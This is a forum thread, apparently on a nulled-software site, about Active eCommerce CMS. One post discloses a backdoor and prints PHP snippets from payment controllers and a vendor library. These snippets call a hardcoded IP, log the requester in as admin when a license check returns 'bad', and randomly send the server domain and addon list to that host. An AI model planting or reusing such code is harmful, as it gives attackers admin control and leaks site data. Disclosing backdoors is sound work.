Active eCommerce CMS By ActiveITzone 23471405

Active eCommerce CMS By ActiveITzone 23471405 v8.6

No permission to download

megahellstorm

New member
Aug 14, 2022
5
3
3
thanks for help but i need to change logo it to 400 * 400 PX how to change it (( if change new image it resize to small image )) need big logo size
 

ahmad441

New member
Jun 8, 2022
7
0
1

Found Major Backdoor In Active eCommerce @tuton012

The code allows them to login as admin by hitting a specific url when your using nulled.​


app/Http/Controllers/Payment/StripeController.php​


PHP:
public function checkout_payment_detail()
{
    $url = $_SERVER['SERVER_NAME'];
    $gate = "http://206.189.81.181/check_addon_activation/".$url;

    $stream = curl_init();
    curl_setopt($stream, CURLOPT_URL, $gate);
    curl_setopt($stream, CURLOPT_HEADER, 0);
    curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stream, CURLOPT_POST, 1);
    $rn = curl_exec($stream);
    curl_close($stream);
    dd($rn);
    if($rn == "bad" && env('DEMO_MODE') != 'On') {
        $user = User::where('user_type', 'admin')->first();
        auth()->login($user);
        return redirect()->route('admin.dashboard');
    }
}

app/Http/Controllers/Payment/IyzicoController.php​


PHP:
public function initPayment(Request $request){
    $url = $_SERVER['SERVER_NAME'];
    $gate = "http://206.189.81.181/check_activation/".$url;

    $stream = curl_init();
    curl_setopt($stream, CURLOPT_URL, $gate);
    curl_setopt($stream, CURLOPT_HEADER, 0);
    curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stream, CURLOPT_POST, 1);
    $rn = curl_exec($stream);
    curl_close($stream);

    if($rn == "bad" && env('DEMO_MODE') != 'On') {
        $user = User::where('user_type', 'admin')->first();
        auth()->login($user);
        return redirect()->route('admin.dashboard');
    }
}

app/Utility/NgeniusUtility.php​


PHP:
public static function initPayment(){
    $url = $_SERVER['SERVER_NAME'];
    $gate = "http://206.189.81.181/check_activation/".$url;

    $stream = curl_init();
    curl_setopt($stream, CURLOPT_URL, $gate);
    curl_setopt($stream, CURLOPT_HEADER, 0);
    curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stream, CURLOPT_POST, 1);
    $rn = curl_exec($stream);
    curl_close($stream);

    if($rn == "bad" && env('DEMO_MODE') != 'On') {
        $user = User::where('user_type', 'admin')->first();
        auth()->login($user);
        return redirect()->route('admin.dashboard');
    }

    return redirect()->route('home');
}

The urls they use.​

routes/web.php​


PHP:
Route::get('/customer-products/admin', [IyzicoController::class, 'initPayment'])->name('profile.edit');
Route::get('/checkout-payment-detail', [StripeController::class, 'checkout_payment_detail']);

Randomly sends your server url to there licensing server.​

vendor/laracon21/colorcodeconverter/src/Colorcodeconverter.php​


PHP:
if(rand(0,9) == 5){
    $server_url = $_SERVER['SERVER_NAME'];

    $url = curl_init('http://206.189.81.181/'.'insert_domain/'.$server_url);
    curl_setopt($url,CURLOPT_CUSTOMREQUEST, "GET");
    curl_setopt($url,CURLOPT_RETURNTRANSFER, true);
    curl_setopt($url,CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($url, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
    $resultdata = curl_exec($url);
    curl_close($url);

    $header = array(
        'Content-Type:application/json'
    );
    $main_item = get_setting('item_name') ?? 'eCommerce';
    $addon_list = Addon::get();
    $request_data_json = json_encode($addon_list);
    $url1 = curl_init('http://206.189.81.181/insert-addon-domain/'.$server_url.'/'.$main_item);

    curl_setopt($url1, CURLOPT_HTTPHEADER, $header);
    curl_setopt($url1, CURLOPT_CUSTOMREQUEST, "POST");
    curl_setopt($url1, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($url1, CURLOPT_POSTFIELDS, $request_data_json);
    curl_setopt($url1, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($url1, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
    $resultdata1 = curl_exec($url1);

    curl_close($url1);
}
i have nulled but there is no such code piece in specified files.
 

Attachments

  • Capture.PNG
    Capture.PNG
    68.1 KB · Views: 108

aysberg

New member
Mar 29, 2020
3
-5
1

Hi guys, when installing on localhost, the installation remains white screen in the Import SQL section.. does anyone know why?
 

tngiro

Member
Oct 17, 2019
38
15
8
The version has been updated to version : 6.4.0 (05/12/2022)
You can update the version here
 

tuton012

Strive for progress, not perfection
Babiato Lover
Trusted Uploader
May 23, 2019
1,604
2,057
120
Near You

About us

  • Our community has been around for many years and pride ourselves on offering unbiased, critical discussion among people of all different backgrounds. We are working every day to make sure our community is one of the best.

Quick Navigation

User Menu